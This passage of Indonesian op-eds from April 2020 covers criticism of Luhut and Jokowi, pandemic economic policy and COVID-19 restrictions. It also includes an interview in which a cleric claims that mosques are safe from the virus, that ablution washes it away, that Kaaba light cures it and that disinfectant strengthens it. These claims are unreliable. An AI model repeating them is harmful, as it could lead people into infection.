untuk terus membela kejujuran, kebenaran, dan keadilan.” Nah, ini dia. Anda jangan ceroboh dalam memindai pernyataan ini. Jangan sampai Anda mencibirinya. Jangan dulu katakan begini: “di mana Pak Luhut membela kejujuran, kebenaran, dan keadilan?” Sebaiknya, pernyataan ini dipandang sebagai statement yang normatif. Maksudnya begini. Sapta Marga mengajarkan nilai-nilai yang disebut Pak Luhut itu. Prinsip-prinsip yang sangat ideal. Cuma, memang ada perbedaan antara ‘mengajarkan’ dan ‘mengamalkan’. Ini bisa terjadi pada diri setiap manusia. Input ‘pelajaran’ belum tentu sesuai dengan output-nya. Ini bisa kita saksikan setiap hari di jajaran birokrasi. Semua orang di sana mengucapkan sumpah jabatan untuk bekerja dengan baik, tidak menyalahgunakan jabatan dan wenang. Juga tidak menyelewengkan uang negara. Inilah inti sumpah mereka. Namun, situasi masing-masing orang membuat sumpah menjadi terlupakan. Begitu juga halnya dengan Sapta Marga. Anda katakan bahwa Anda tak akan melupakan ikrar keprajuritan ini sampai kapan pun. Tetapi, sering sekali orang tidak hanya melupakannya melainkan melecehkannya. Alinea 6 dan 7 juga cukup menarik. Pak Luhut menyebutkan tentang ujaran kebencian dan fitnah yang tetap eksis di tengah pandemi Covid-19, Pandemi yang mengancam semua orang. Begitu juga suasana sektarianisme yang tetap hidup. Luhut merindukan sosok Gus Dur yang ia sebut sangat inspiratif. Di sini, ada hal-hal yang perlu dijelaskan panjang-lebar. Harus komprehensif. Tidak valid kalau dilihat sepotong-sepotong. Sebab, ujaran kebencian, fitnah dan juga sektarianisme adalah produk dari polarisasi. Polarisasi itu terbentuk dari proses diskriminasi terhadap satu golongan. Bisa polarisasi ekonomi, sosial, atau politik. Polarisasi itu juga terbentuk dari proses ketimpangan dalam penegakan hukum dan keadilan. Mari kita ‘to the point’ saja. Cara Jokowi menjalankan pemerintahan sejak periode pertama cenderung menjadi sumber sektarianisme. Mungkin dia tidak merasa ada masalah. Tetapi, rakyat melihat itu. Setidaknya, saya pribadi membaca itu. Dan, menurut hemat saya, bibit sektarianisme yang ditabur Jokowi lewat cara dia menjalankan pemerintahan, hampir pasti akan menjadi tumbuh besar dan mencapai waktu panennya suatu saat. Bisa juga disebut ‘time bom in the making’. Bom waktu yang sedang berproses. Jadi, agak mengherankan sekali kalau Pak Luhut tidak menyadari itu. Padahal, distribusi kekuasaan yang sangat besar kepada beliau termasuk salah satu dari sekian banyak pohon sektarianisme yang menonjol di ‘kebun polarisasi’ Jokowi. Panen buah sektarinisme di masa depan, bisa jadi ‘inevitable’. Tak terelakkan. Anda bisa mengatakan bahwa distribusi kekuasaan adalah hak prerogatif Presiden. Memang iya. Tidak ada yang membantah. Tetapi, seorang presiden di negara yang peta komposisi demografisnya sangat jelas, seharusnya menggunakan hak prerogatif itu dengan sensitivitas yang tinggi. Ketika memberikan kekuasaan yang luar biasa besar kepada Pak Luhut, Presiden Jokowi perlu memahami kepekaan ‘grassroot’. Sebab, publik bukanlah penonton pasif. Rakyat bukan gerombolon robot. Publik melihat pengistimewaan Luhut sangat berlebihan. Di luar kepantasan. Ini yang kemudian memunculkan gelombang resistensi yang sangat keras belakangan ini. Presiden Jokowi dan Pak Luhut sendiri menjadi sasaran kritik, cemoohan, bahkan ejekan. Pak Menko memperlihatkan kejengkelannya terhadap resistensi publik. Dia sampai mengancaman pengkritik dengan langkah hukum. Tapi, publik semakin ‘kencang’ melawan. Nah, Pak Luhut melihat pelawanan publik itu berbumbu sektarianisme. LBP menjadi prihatin. Seolah sektarianisme itu tumbuh tanpa sebab. Padahal, sebab-akibat adalah hukum alam yang tertua. Suasana sektarianisme yang berkembang di masyarakat pastilah berbahaya. Celakanya, para penguasa hari ini tidak merasa bersaham menyuburkan itu. Ini lebih berbahaya lagi. Dalam arti, para penguasa tidak bisa mendeteksi bahwa mereka sedang duduk di atas bara sektarianisme itu. Kalau tadi Pak Luhut kagum kepada Gus Dur yang dianggapnya inspiratif, tidak mengherankan. Sebab, Gus Dur senang dengan cara-cara yang tidak konvensional. Dia lebih suka melawan arus. Gus Dur selalu siap pasang badan untuk membela golongan tertentu agar bisa menjadi kuat. Cara-cara mantan presiden yang ke-4 itu disambut tepuk gemuruh. Gus Dur memberikan kesempatan dan legitimasi kepada kelompok tertentu untuk ‘membalikkan skor’. Pak Luhut termasuk yang sukses membalikkan skor itu. Top scorer. Dia kemudian pindah ke squad baru di bawah Kapten Jokowi. LBP semakin berkibar. Praktis, squad yang dipimpin Jokowi sepenuhnya berada di bawah kenadali Luhut. Di periode kedua, Luhut malah memberikan kesempatan kepada Jokowi untuk ‘tidak banyak berpikir’. Kita akhiri tinjauan ini dengan alinea ke-8 status Facebook LBP. Mantan jenderal cerdas ini ingin melihat orang Indonesia menjadi bangsa yang terdidik. Bangsa yang bertanggung jawab atas ucapan dan perbuatan. Gagasan besar Pak Luhut ini tentu sangat ideal. Namun, khalayak menjadi bingung. Mereka bertanya-tanya sambil menaha senyum. Terdidik seperti apa? Pendidikan yang bagaimana? Siapa yang mendidik? Apakah terdidik seperti Pak Luhut saat ini? Menjadi orang yang serba bisa dan selalu ‘bertanggung jawab’? Apakah terdidik untuk mengeruk isi perut Indonesia? Apakah terdidik dalam konteks penumpukan kekayaan pribadi sebanyak-banyaknya? Apakah terdidik untuk merusak lingkungan hidup negara ini? Apakah terdidik dalam arti bertindak sesuka hati ketika berkuasa? Apakah terdidik dalam arti menjual Indonesia dan kedulatannya kepada orang asing, khususnya China? Kemudian, siapakah yang layak mendidik bangsa ini? Para konglomerat seperti Eka Tjipta Wijaya? Anthoni Salim? Sri Prakash Lohia? James Riady? Tahir? Tommy Winata? Sjamsul Nursalim? Siapa yang hendak kita jadikan guru-guru yang mulia? Pak Luhut dengan belasan perusahaan? Wiranto dengan 60-an kapling properti plus uang ratusan miliar? Setya Novanto? Romi Romahumuziy? Surya Paloh? Harun Masikhu? Mantan bupati Kotim, Supian Hadi, dengan megakorupsi 5.8 triliun? Ataukah para pejabat yang berlomba-lomba menumpuk harta? Siapa yang mau kita jadikan panutan? Zulkifli Hasan? Akil Mochtar? Bambang Soesatyo dengan koleksi mobil mewahnya? Mungkin Pak Luhut bisa menjelaskan cara mengajari orang Indonesia agar bisa menjadi bangsa terdidik sesuai impian beliau. Agar kita semua bisa seperti Pak Luhut yang terus membela kejujuran (?), kebenaran (?), dan keadilan (?) sesuai Sapta Marga yang beliau pegang teguh. Dan agar kita menjadi orang yang selalu bertanggung jawab seperti Pak Luhut.[] 19 April 2020 Penulis sedang mencari guru. (Penulis sedang mencari guru)

Obligasi Khusus Untuk Informal dan UMKM Tidak Bisa Ditunda

Kesadaran atmosferik ini tidak lagi tertutup. Tapi direspon terbuka dan cepat oleh banyak otoritas keuangan di berbagai belahan dunia. The Federal Reserve, Bank Sentral Amerika Serikat, merespon situasi ini dengan menggelontorkan paket kebijakan moneter sebesar U$ 2.3 trillion dolar. Sebagian besarnya digunakan untuk memitigasi sektor informal dan UMKM mereka. Padahal, dibanding banyak negara di dunia, infrasturktur politik dan keamanan Amerika jauh lebih memadai. By Andi Rahmat Jakarta FNN- Minggu (19/04). Selain kebijakan yang berhubungan dengan aspek penanganan kesehatan. Ada dua pokok kebijakan bidang ekonomi yang menonjol dari kebijakan yang telah dan akan dikeluarkan pemerintah terkait dengan pandemi Covid 19. Yang pertama, peningkatan dan penggunaan kebijakan pelebaran defisit. Dan yang kedua, perluasan kewenangan Bank Indonesia dalam skema open ended policy, terutama dan termasuk dalam pemberian kewenangan kepada BI untuk masuk ke pasar primer obligasi. Tulisan saya sebelumnya sudah membicarakan mengenai perlunya mengarus-utamakan ekonomi informal dalam kebijakan ekonomi. Juga perlunya menegaskan skala “keberpihakan” kepada UMKM dalam penanganan krisis ekonomi sebagai dampak paralel dari Pandemi Covid 19. Dalam tulisan ini, saya mengajukan proposal tentang perlunya “Obligasi Sektor Informal dan UMKM”. Ini sebagai wujud keberpihakan dan pengaruh mengutamakan kebijakan ekonomi. Pelebaran defisit dan skema Open Ended Policy BI adalah modal utama untuk menjalankan kebijakan ini. Apalagi, Kementerian Keuangan telah mendeklarasikan keinginannya untuk menerbitkan Pandemic Bond dalam upaya memitigasi resiko industri yang terpapar dampak Pandemi Covid 19. Andreas Kluth dalam artikelnya yang berjudul “ This Pandemic Will Lead to Social Revolution” (Bloomberg 11/04/2020) menuliskan “as the coronavirus sweeps the world, it’s hits the poorer much harder than the better off. One Consequence will be social unrest. Even Revolution”. Peringatan artikel Andreas Kluth ini seharusnya menyadarkan kita semua betapa dalamnya resiko krisis yang tengah kita hadapi ini. Bukan hanya krisis kesehatan, tapi juga krisis ekonomi yang bisa berujung pada kegelisahan sosial. Bahkan bisa memicu revolusi. Kesadaran atmosferik ini tidak lagi tertutup. Tapi direspon terbuka dan cepat oleh banyak otoritas di berbagai belahan dunia. The Federal Reserve, Bank Sentral Amerika Serikat, merespon situasi ini dengan menggelontorkan paket kebijakan moneter sebesar USD 2.3 trillion, yang sebagian besarnya digunakan untuk memitigasi sektor informal dan UMKM mereka. Padahal, dibanding banyak negara, infrasturktur politik dan keamanan Amerika jauh lebih memadai. Terus terang, tulisan saya ini membawa kekhawatiran yang mendalam terhadap tradisi dan pola penangan krisis ekonomi yang selama ini telah dipraktekkan oleh otoritas ekonomi kita. Baik itu di sisi kebijakan Fiskal, maupun kebijakan Moneter. Sensitifitas terhadap problem ekonomi yang dialami sektor informal dan UMKM dalam catatan ingatan kita, selalu berwujud dalam bentuk kebijakan “charity” negara terhadap sektor ini. Dalam kondisi seperti ini, yang diperlukan adalah memberikan penghormatan mutlak terhadap peran dan daya ungkit sektor ini dalam menggerakkan roda perekonomian nasional. Lantas apa yang menjadi konsepsi dasar dari Obligasi Sektor Informal dan UMKM ini? Didalam paket kebijakan Stimulus senilai Rp 405 T, pemerintah memgalokasikan tidak kurang dari Rp 70,1 Triliun untuk Kredit Usaha Rakyat ( KUR). Secara jumlah, fasilitas KUR ini adalah fasilitas terbesar yang pernah dikeluarkan pemerintah sejak krisis 1998. Sebagai permulaan, alokasi ini setidaknya menunjukkan iktikad sehat dari pemerintah menangani dampak ekonomi yang diderita sektor UMKM. Namun ke dalaman persoalan yang membelit sektor UMKM dan ekonomi informal, sudah tentu membutuhkan alokasi kebijakan yang lebih besar lagi. Sebab sumbangsih sektor UMKM terhadap PDB Nasional sejak tahun 2018 telah mencapai lebih dari 60%. Diperkirakan sebanyak 127 tuta tenaga kerja hidup dari sektor ini. Tentu ini perkiraan angka yang menggembirakan kita semua. Khusus ekonomi informal, kendati tidak ada data resmi dalam sumbangsihnya terhadap pembentukan PDB Nasional, namun kontribusinya dalam menyediakan lapangan kerja dimasa krisis sudah tidak diragukan lagi. Sangat membantu dan menolong. Karena sumbangsihnya yang vital dalam struktur PDB Nasional, maka upaya mengatasi krisis ekonomi akibat pandemi Covid 19, secara gradual, sektor UMKM perlu memperoleh porsi yang setara. Alokasi anggaran pemulihan ekonomi sepatutnya mencerminkan porsi sumbangsih tersebut. Tidak sebaliknya. Disinilah terletak arti penting dan perlunya menerbitkan obligasi yang dikhususkan untuk memperkuat sektor UMKM ini. Obligasi ini diterbitkan pemerintah, dan dibeli oleh Bank Indonesia. Pembelian oleh Bank Indonesia, menyebabkan skema alokasinya akan berbiaya murah dan tidak membebani UMKM dengan bunga pinjaman yang mahal. Keuntungan berikutnya adalah keleluasaan pemerintah dalam mengelola dan menghitung resiko Non Performingnya. Dengan ketersediaan dana yang besar dan sasaran penyaluran yang pasti, juga akan berdampak pada tingkat kestabilan sistem keuangan. Dalam penyalurannya, tentu pemerintah akan menggandeng institusi keuangan sebagai perantaranya. Dikarenakan kepastian sasarannya, maka institusi keuangan yang dijadikan mitra tidak akan menjadikan ini sebagai “bancakan” (cash hoarding) dalam neracanya. Bagaimana dengan kemungkinan moral hazardnya? Pengalaman mikro selama ini dalam skema penyaluran KUR dapat dijadikan sebagai contoh dalam soal ini. Tentu saja dengan sejumlah modifikasi yang sesuai. Akuntabilitasnya sendiri memerlukan suatu pengaturan lebih lanjut yang memuat kriteria mitra penyalur dan sasaran UMKM yang spesifik. Pemerintah sendiri perlu untuk mendeklarasikan ini sedini mungkin. Agar langkah-langkah pemulihan ekonomi yang akan ditempuh pemerintah menjadi jelas bagi pelaku usaha UMKM. Pelaku usaha UMKM memerlukan “ruang segar” dalam horison pemulihan ekonomi. Kepastian semacam ini akan menciptakan insentif yang kuat bagi UMKM dan sektor informal dalam membalik keadaan ekonomi mereka. Dalam situasi kritis, horison kebijakan yang memberi “ruang segar” selalu merupakan kunci bagi upaya pemulihan itu sendiri. Wallahu ‘alam. Penulis adalah Pelaku Usaha dan Mantan Wakil Ketua Komisi XI DPR RI

Saatnya Rakyat Menuntut Pertanggungjawaban Pemimpin Negara

By Iwan Sumule Jakarta FNN – Sabtu (18/04). Sejarah konsepsi politik, mengajarkan kepada kita, bahwa negara merupakan suatu titik di mana orang-orang meletakkan harapan dan cita-cita bersama. Pada titik inilah, orang-orang bersepakat untuk mengatur dan menata kehidupan dalam upaya mencapai kesejahteraan hidup bersama. Negara sebagai perwujudan kontrak sosial, adalah buah dari pengalaman panjang manusia mengarungi peradaban di mana di dalamnya terjadi benturan dan chaos. Berangkat dari pengalaman tersebut, maka kehadiran negara sepatutnya menjadi solusi sistematis bagi problem yang di hadapi oleh masyarakat penghuni negara, yang kemudian disebut rakyat. Demikian pula dengan pemerintah. Selaku penyelenggara negara, amanah yang harus dijalankan sebaik-baiknya adalah memastikan bahwa negara sebagai sebuah solusi sistematis dapat berjalan sebagaimana mestinya. Hadir memenuhi harapan dan cita-cita rakyatnya. Pemerintah, berkewajiban mencarikan jalan untuk mewujudkan tujuan bernegara yang bermuara pada kesejahteraan rakyat dalam arti yang sesungguhnya. Bukan kesejahteraan segelintir orang yang merupakan bagian dari jejaring oligarki. Kartel yang hanya bermain-main dengan kekuasaan. Seperti juga halnya dengan kebijakan pemerintah belakangan ini. Sangat jauh dari pro kepada rakyat. Sangat-sangat menjengkelkan rakyat, bahkan melukai hati rakyat. Sebab kebijakan-kebijakan yang dibuat oleh pemerintah yang jauh dari harapan dan kepatutan. Sementara itu, dikala kebijakan yang dibuat tidak lagi berpihak pada rakyat. Bahkan malah mengkhianati rakyat. Merugikan dan membikin susah hidup rakyat. Namun pemerintah sebagai pembuat kebijakan itu mengaku-ngaku sebagai pemerintah yang pro rakyat, dengan sederet pencitraan yang dibangun di atas pondasi seolah-olah memihak kepada rakyat. Pada saat yang sama, janji-janji tidak kunjung dipenuhi. Pada saat ini pula, patut rasanya rakyat tidak sabar menahan kata yang harusnya tak perlu keluar jika penguasanya layak. Kekesalan rakyat yang memuncak dapat mengakibatkan munculnya ketidakpercayaan, pembangkangan, dan perlawanan rakyat yang maha dasyat nantinya. Pemerintah sudah semestinya bertanggungjawab atas nasib rakyat yang dipimpinnya. Seorang pemimpin akan dipertanyakan atas kepemimpinannya. Apakah dalam kekuasaannya, negara membawa maslahat atau malah sebaliknya menjadi mudarat bagi rakyatnya? Sebagaimana syari'ah, negara juga memiliki maqasid. Memiliki tujuan. Dan tujuan dari sebuah negara adalah untuk mencapai maslahat. Membuat masyarakatnya adil dan makmur. Demikian pula yang diamanahkan oleh Konstitusi Negara Republik Indonesia. Pemimpin juga harus bisa memberikan kebaikan bagi rakyat yang dipimpin. Ketika seorang penguasa yang dengan kekuasaannya memerintah negara, namun kebijakan-kebijakan yang dibuat tidak berpihak pada kepentingan rakyat, maka pemerintahan semacam itu bukanlah pemerintahan yang membawa negara kepada maslahat atau kebaikan kepada rakyat sebagai sebuah maqasid atau tujuan bernegara. Menyikapi keadaan ini, maka wajib bagi kita untuk mengingatkan penguasa. Tujuannya, agar penguasa menyadari bahwa apa yang dilakukan dengan pemerintahannya saat ini adalah keliru. Bahwa bahtera bernama Indonesia ini harus kembali diarahkan ke tujuan berbangsa dan bernegara. Mewujudkan masyarakat adil dan makmur sesuai perintah konstitusi negara. Dalam sholat berjamaah, ketika imam lupa atau salah, maka makmum harus mengingatkan dengan kode subhanallah. Hari ini, pemerintah merasa tidak ada yang salah dengan kebijakan-kebijakan yang ada. Atas nama perubahan, pemerintah membuat kebijakan-kebijakan yang wajib kita pertanyakan. Kepada siapa pemerintah ini berpihak? Rakyat sebagai makmum, wajib hukumnya mengingatkan kesalahan penguasa dengan kode kritik. Perubahan yang dimaksud perubahan ke arah mana? Perubahan untuk siapa? Apakah ia perubahan yang membawa perbaikan atau pengrusakan? Apakah akan membawa maslahat atau mudarat? Suatu perubahan atau islah, yang membawa kita ke arah maslahat, ke arah perbaikan. Jika ada perubahan yang pada kenyataannya membawa kepada mudarat, yang membawa kerusakan, maka itu bukanlah perubahan, melainkan pengrusakan. Mudarat yang mengatasnamakan perubahan. Seorang penguasa, atau sebuah pemerintahan seharusnya berlaku adil. Sebab perilaku adil mendekatkan penguasa kepada taqwa. Adil itu, seharusnya sudah dimulai sejak dari pikiran. Sejak dari kata-kata. Sebab dusta pemimpin terhadap rakyatnya adalah penghianatan yang sangat menyakitkan. Sesungguhnya setiap penguasa itu adalah pemimpin. Dan setiap pemimpin itu akan dimintai pertanggungjawaban atas kepemimpinannya. Itu pasti terjadi. Kenyataan yang kita hadapi saat ini, seharusnya menjadi bahan pertimbangan, untuk menentukan arah perjalanan politik. Arah tujuan bernegara kita di tahun mendatang. Bahwa jika kita menginginkan perubahan yang benar-benar perubahan dalam arti islah. Untuk mencapai maslahat dan perbaikan. Untuk itu, kita sebagai rakyat, harus berani meminta pertanggung jawaban dari seorang pemimpin negara atas kepemimpinannya. Tujuanya, agar perubahan memberi itu dapat memberikan maslahat. Kebaikan kepada seluruh rakyat. Ayo,,, sekarang saatnya untuk kembali meluruskan kiblat dan tujuan berbangsa dan bernegara kita. Mewujudkan masyarakat yang adil dan makmur. Penulis adalah Ketua Majelis Aktivis Pro Demokrasi (ProDEM)

Kiai Muchith: Ikhtiar Usir Corona, Muslim-Non Muslim Indonesia Ayo Puasa Ramadhan!

Oleh Mochamad Toha Jakarta, FNN - Sejak pertama kali diumumkan pada 2 Maret 2020, hingga update terakhir Jumat (17/4/2020) pukul 12.00 WIB dilaporkan telah ada 5.923 kasus virus corona Covid-19 di Indonesia. Dari jumlah 5.923 kasus positif virus corona di Indonesia tersebut, Indonesia menjadi yang tertinggi di antara negara-negara ASEAN. Selain itu, dengan jumlah itu juga menjadi yang terbanyak ke-11 di Asia, melihat data Worldometers. Menurut juru bicara pemerintah untuk penanganan virus corona Achmad Yurianto, ada penambahan 407 kasus positif baru virus corona pada Jumat. Terjadi juga penambahan 59 pasien Covid-19 yang dinyatakan sembuh, sehingga total pasien sembuh 607 orang. Sedangkan jumlah total pasien meninggal karena virus corona berjumlah 520 orang setelah ada tambahan 24 pasien meninggal. Kasus terbanyak di ASEAN. Jumlah kasus virus corona di Indonesia melonjak dengan adanya tambahan 407 kasus baru. Sebelumnya, Filipina memiliki kasus virus corona tertinggi di ASEAN melaporkan 218 kasus positif baru pada Jumat. Selain memiliki kasus positif terbanyak, korban meninggal pasien virus corona di Indonesia juga yang tertinggi di ASEAN. Sementara itu, selain memiliki kasus virus corona terbanyak di ASEAN, dengan total 5.923 kasus, Indonesia juga menjadi yang terbanyak ke-11 di Asia, menurut rekap Worldometers. Jadi kasus virus corona di Indonesia masih cukup tinggi. Meningkatnya angka kematian akibat virus corona di Indonesia ini membuat prihatin seorang ulama yang juga Guru Tariqat Mursyid, KH Abdulloh Muchith, 82 tahun. Sabtu (18/4/2020) pagi, tiba-tiba pendiri IPIM Indonesia ini menelpon saya. Apa yang disampaikan dalam pembicaraan kepada saya menarik untuk disampaikan. Berikut petikan wawancara dengan Kiai Muchith: “Assalamu’alaikum. Mas Toha, apa kabar? Gimana perkembangan virus corona yang terjadi di Indonesia? Koq semakin besar jumlah korbannya,” begitu Kiai Muchith mengawali bicara dengan saya. “Alhamdulillah, sehat Yai. Wonten dawuh?” Menurut Kiai Muchith sendiri bagaimana? Ini sungguh sangat memprihatinkan. Apalagi, jika dilihat angka kematiannya semakin tinggi. Kita tidak bisa tinggal diam melihat kenyataan ini. Harus ada gerakan puasa bersama dalam bulan Ramadhan 1441 Hijriah mendatang. Maksudnya puasa bersama itu apa ya Kiai? Puasa Ramadhan itu kewajiban umat Islam. Tapi, dalam menghadapi pandemi virus corona ini kita tidak bisa kita hadapi sendirian. Umat non-Islam juga harus membantu melakukan puasa Ramadhan. Tujuannya untuk membantu agar corona keluar dari Indonesia. Dasarnya apa Kiai menghimbau seperti itu? Begini. Nabi Muhammad SAW bersabda: “Puasa itu bisa menghilangkan dan menjauhkan dari berbagai penyakit”. Intinya begitu. Puasa itu menyehatkan. Orang yang semula sakit itu bisa sembuh karena puasa. Itulah dasarnya. Mengapa harus mengajak umat non-Muslim? Perlu diketahui, umat non-Muslim itu sebenarnya juga mengenal puasa. Sehingga, tidak ada salahnya jika mereka juga membantu ikut puasa di bulan Ramadhan mendatang. Sehingga ini bisa menjauhkan virus corona dari Bumi Pertiwi. Menurut Kiai Muchith, apa yang diketahui soal virus corona? Virus atau bakteri itu sebenarnya juga salah satu makhluk Allah SWT yang ada di Langit dan Bumi. Mereka itu juga hidup berpasangan seperti halnya manusia. Mereka juga ikut bertasbih kepada Allah. Mereka ini ada sebelum manusia hadir di muka bumi. Mungkin saja mereka ini merasa sudah disakiti oleh manusia. Mereka merasa kehidupannya terancam, karena diburu dan dibunuh, sehingga mereka berusaha bertahan hidup. Yang lolos dari semprotan Desinfektan (alkohol) akan semakin kuat dan berkembang. Makanya, jangan heran kalau di China sana tempat awalnya virus corona, pemerintah China mulai khawatir dengan adanya peningkatan jumlah kasus virus corona dalam enam minggu terakhir ini, pada Minggu (12/4/2020) lalu. Mungkin bisa dijelaskan maksudnya? Di China, dalam enam minggu terakhir ini membuat para ahli di China sana khawatir akan datangnya gelombang kedua dari penyakit infeksi ini lagi. Pemerintah China mengklaim lonjakan kasus ini terjadi karena banyaknya orang-orang yang pindah dari negara lain. Di China, total kasusnya mencapai 82.160 orang dan jumlah kematian menjadi 3.341 orang. Komisi Kesehatan Nasional China mengatakan, Senin (13/4/2020), ada 98 kasus baru impor yang terjadi berkaitan dengan orang-orang dari negara lain yang masuk ke China. Kembali ke Indonesia, bagaimana dengan himbauan untuk tidak berjamaah di Masjid? Itu pula yang membuat saya prihatin. Kemarin saya pas ke Surabaya dan mendatangi Masjid Ampel yang tertutup, saya langsung meminta supaya segera dibuka. Aparat yang menjaga di sana pun tidak keberatan. Ini hanya soal komunikasi saja. Tidak masalah, koq! Jadi, sebenarnya tidak masalah jika umat Islam shalat berjamaah di masjid saat ini? Silakan saja datang dan berjamaah di masjid. Perlu diingat, masjid itu adalah rumah Allah yang selalu dijaga kesuciannya. Sebagai tamu, tentu saja Allah sebagai pemilik rumah itu akan menjaga sehingga tamu-Nya merasa aman dan nyaman. Jadi, kita tak perlu khawatir jika harus berjamaah di dalam masjid. Jangan dalam menghadapi virus corona ini, kita justru menjauhi masjid. Bagi Allah itu sangat mudah untuk memerintah atau menahan virus corona agar tidak masuk Rumah Allah. Jika dengan pendekatan tauhid dan keimanan, mustahil Allah akan membiarkan hamba yang menyembah-Nya di Rumah Allah celaka terkena virus corona. Jika kita menggunakan logika iman, pasti meyakini hal itu, tidak mungkin hal itu terjadi. Mungkin Kiai Muchith bisa memberi contohnya? Itu 144 jamaah yang dikarantina di Masjid Kebon Jeruk, Tamansari, Jakarta Barat, semuanya negatif corona. Hasil tesnya, mereka dinyatakan negatif terpapar Covid-19. Padahal, diantara mereka sebelumnya ada yang terpapar virus corona. Anggota tubuh yang sudah dalam kondisi suci (berwudhu) itulah yang menyebabkan mereka dijauhkan dari virus corona. Jika ada virus yang menempel pada anggota badan, niscaya virus sudah hanyut terbawa limbah air wudhu. Dalam surah Ath Thalaq 2-3 Allah berjanji: “Barangsiapa bertakwa kepada Allah niscaya Dia akan membukakan jalan keluar baginya dan memberinya rezki dari arah yang tidak disangka-sangkanya.” Nabi Muhammad shallallahu 'alaihi wa sallam bersabda, "Bila datang bulan Ramadhan dibukalah pintu-pintu surga, ditutuplah pintu-pintu neraka, dan dibelenggulah para setan." (HR. al-Bukhari dan Muslim) Sabda Beliau shallallahu 'alaihi wa sallam (dibukalah pintu-pintu surga) yang membuka Dia-lah Allah Ta'ala. Hanyalah dibuka pintu-pintu surga dikarenakan Allah menginginkan orang-orang memasukinya, terutama pintu yang khusus untuk orang yang berpuasa. Yaitu pintu yang dinamakan Babur Rayyan. Semoga Allah menjadikan kami dan kalian termasuk orang yang memasukinya. Ditutup pintu-pintu neraka sampai tidak seorang pun ingin memasukinya. Sehingga, diketahui bahwa yang dimaksud dengan sabda Beliau ini adalah sebab-sebab masuknya surga dan sebab-sebab masuknya neraka. Seakan-akan Nabi SAW menginginkan dengan berita yang mulia ini, agar kita bersemangat melakukan ketaatan yang merupakan sebab masuknya surga dan menjauhi kemaksiatan yang merupakan sebab masuknya neraka. Mengapa Masjidil Haram di Mekkah juga harus ditutup? Itulah yang saya tidak mengerti. Padahal, justru dari dalam Ka’bah itu memancar sinar Illahi yang bisa menyembuhkan berbagai penyakit, termasuk virus corona. Kalau ada jamaah yang terpapar corona, insya’ Allah akan sembuh. Itu saya yakini sesuai janji Allah. Dengan adanya wabah virus corona ini justru dimanfaatkan pihak lain yang selama ini tidak suka kalau Islam berkembang, untuk menjauhkan umat Islam dari masjid. Mereka sekarang ini sedang bertepuk tangan gembira karena umat Islam sudah menjauhi masjid. *** Penulis Wartawan Senior.

Nggak Perlu Siapin Kuburan Massal

By Tony Rosyid Jakarta FNN – Sabtu (18/04). Hari minggu lalu, saya ke Surabaya. Via Bandara Soetta-Juanda. Pagi berangkat, malam balik ke Jakarta. Tentu untuk kebutuhan urgent. Lihat sejumlah penumpang pakai baju plastik. Baju khusus covid-19. Kacamata besar layaknya para penyelam di dasar lautan. Plus masker. Duduk persis di depan saya. Suasana di pesawat terasa horor. Menegangkan. Jangan-jangan, kursi tempat saya duduk dihuni covid-19. Boleh jadi tangan halus pramugari yang ulurkan roti dan aqua juga ada virusnya. Ikutan paranoid. Kapok saya. Besok kalau ke Surabaya lagi, mau jalan darat saja. Setir sendiri. Supaya covid-19 nggak masuk ke mobil. Di mobil selalu disiapin antiseptik. Dua botol lagi. Kartu tol habis pakai, harus disemprot lagi. Sebagai ikhtiar dan jaga-jaga saja. Waspada, itu penting. Ikuti aturan pemerintah dan protabnya Satgas. Pakai masker, lakukan social and physical distancing, serta jaga kesehatan. Ini sudah SOP untuk semua. Jakarta sudah memberlakukan Pembatasan Sosial Berskala Besar (PSBB). Begitu juga dengan daerah-daerah di Bodetabek. Meski masih ada kerumunan dan sejumlah pelanggaran terjadi, tapi sudah sangat jauh berkurang. Kendati KRL masih tetap beroperasi. Gubernur DKI, Anies Baswedan sedang merayu Pak Luhut. Menteri di atas menteri itu. Anies minta KRL berhenti operasi. Anies juga mengancam akan mencabut ijin perusahaan yang tak patuh aturan. Sampai disini, kita perlu apresiasi dan support pemerintah, baik pusat maupun daerah di Jabodetabek. Juga aparat kepolisian yang bertindak sigap dan tegas. Aparat kepolisian keren. Dengan berlakunya PSBB, apakah jumlah terinveksi dan meninggal akibat covid-19 berkurang? Belum. Trendnya masih naik. Dan akan terus naik untuk beberapa pekan kedepan. Tapi yakinlah, kalau pemerintah disiplin dan masyarakat makin tinggi kesadarannya, covid-19 akan segera berlalu. Perkiraan ini berlaku untuk Jabodetabek. Bagaimana dengan wilayah lain? Nah, disini ada masalah. Di Surabaya, seperti tak ada apa-apa. Pasar, jalanan dan rumah makan, masih tetap ramai seperti tak ada masalah dengan covid-19. Satu dua orang pakai masker. Tapi, belum nampak serius. Mungkin ini juga terjadi di wilayah lain. Slow. Padahal, OTG (orang tanpa gejala) jumlahnya lebih banyak. Tak ketahuan siapa mereka. Nggak demam, nggak sesak napas, nggak batuk, dan nggak lemas. Diantara OTG mungkin itu adalah teman, kolega atau sahabat anda. Mungkin orang yang sedang bertransaksi dengan anda. Atau mungkin penyaji makanan di rumah makan, dimana anda sering makan. Tahu-tahu, rumah sakit penuh. Nggak mampu lagi menampung pasien covid-19. Lalu para sopir ambulan ngeluh, karena setiap hari harus mengantar puluhan janazah. Istri dan anaknya menangis, ketakutan jika suaminya ikut terpapar. Bisa-bisa nggak bawa ambulan lagi, tapi malah dibawa. Sebelum semua itu terjadi, kenapa tidak semua wilayah menerapkan PSBB? Ini penting sebagai tindakan pencegahan. Jangan nunggu ribuan positif baru menerapkan PSBB. Sudah telat pak. Kasus Jakarta harus jadi pelajaran. Ketidaksiapan regulasi Pemerintah Pusat membuat Jakarta jadi episenter covid-19. Wilayah lain mau nyusul? Beberapa daerah sudah ajukan pemohonan ke Kemenkes untuk memberlakukan PSBB. Diantaranya adalah Kabupaten Bolang Mongondow. Sang Bupati, Yasti Soepredjo sudah kirim surat ke Kemenkes. Tapi, ditolak. Kenapa? Silahkan tanya ke Menkes. Saya bukan juru bicaranya. Publik jadi bertanya-tanya, PSPB merupakan program reaksi, atau antisipasi? Kalau program reaksi, berarti harus menunggu daerah bernasib seperti Jabodetabek dulu. Puluhan orang meninggal dulu setiap hari, baru diterapkan PSBB. Apakah seperti itu? Kalau begitu, butuh berapa puluh atau ratus ribu orang yang dikorbankan untuk mati duluan, baru ada PSBB di daerah itu? Kesigapan walikota Tegal, Bupati Bolang Mongondow, Gubernur Papua dan sejumlah daerah lain terhadap penyebaran covid-19 perlu jadi pertimbangan Pemerintah Pusat. Dalam hal ini adalah Menkes dan Pak Luhut, sebagai pemegang otoritas laut, udara dan darat. Jangan nunggu ribuan terinveksi dan ratusan yang mati, baru berlakukan PSBB. Lagi-lagi terlambat Pak Menteri. Lebih baik 